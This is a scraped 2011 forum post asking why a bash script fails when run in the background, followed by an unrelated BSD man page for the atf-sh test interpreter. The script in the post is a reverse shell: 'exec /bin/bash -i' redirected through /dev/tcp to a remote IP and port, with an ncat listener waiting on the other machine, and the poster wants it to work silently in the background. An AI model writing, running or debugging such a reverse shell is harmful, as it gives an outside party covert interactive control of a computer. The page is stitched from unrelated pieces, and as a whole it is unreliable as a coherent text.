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Top Forums Shell Programming and Scripting Shell script running in background Post 302542975 by gd05 on Friday 29th of July 2011 06:18:54 AM
Old 07-29-2011
Shell script running in background

Dear all,
I have a little problem trying to run a shell script in background, as you can see below.
- the script is a simple one:
Code:
#! /bin/bash
exec /bin/bash -i 0</dev/tcp/IP_ADDR/33445 1>&0 2>&0

- the name of the script is test.sh
- the script is executable(chmod +x test.sh)
- on the other computer having IP_ADDR is waiting a netcat application on the port 33445(ncat -l -p 33445)

Well, if I run ./test in foreground everything is working just fine, but when I'm trying to run it in background(./test.sh &) nothing happen(I mean that I get no shell on the other computer).
Moreover, waiting for connection if I type fg, the background shell script show up in foreground and the connection is immediately accomplish.

I want to mention that I used nohup ./test.sh & either but the reasult is almost the same: no connection when the script is running in background.

Could you please help me a little with this issue?

Thank you,

Rgds,

GDU


N.B. I have Backtrack5 running on both computers.

Last edited by radoulov; 07-29-2011 at 04:30 PM.. Reason: Code tags, please!
 

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ATF-SH(1)						    BSD General Commands Manual 						 ATF-SH(1)

NAME
atf-sh [-s shell] -- interpreter for shell-based test programs SYNOPSIS
atf-sh script DESCRIPTION
atf-sh is an interpreter that runs the test program given in script after loading the atf-sh(3) library. atf-sh is not a real interpreter though: it is just a wrapper around the system-wide shell defined by ATF_SHELL. atf-sh executes the inter- preter, loads the atf-sh(3) library and then runs the script. You must consider atf-sh to be a POSIX shell by default and thus should not use any non-standard extensions. The following options are available: -s shell Specifies the shell to use instead of the value provided by ATF_SHELL. ENVIRONMENT
ATF_LIBEXECDIR Overrides the builtin directory where atf-sh is located. Should not be overridden other than for testing purposes. ATF_PKGDATADIR Overrides the builtin directory where libatf-sh.subr is located. Should not be overridden other than for testing purposes. ATF_SHELL Path to the system shell to be used in the generated scripts. Scripts must not rely on this variable being set to select a specific interpreter. EXAMPLES
Scripts using atf-sh(3) should start with: #! /usr/bin/env atf-sh Alternatively, if you want to explicitly choose a shell interpreter, you cannot rely on env(1) to find atf-sh. Instead, you have to hardcode the path to atf-sh in the script and then use the -s option afterwards as a single parameter: #! /path/to/bin/atf-sh -s/bin/bash ENVIRONMENT
ATF_SHELL Path to the system shell to be used in the generated scripts. SEE ALSO
atf-sh(3) BSD
September 27, 2014 BSD
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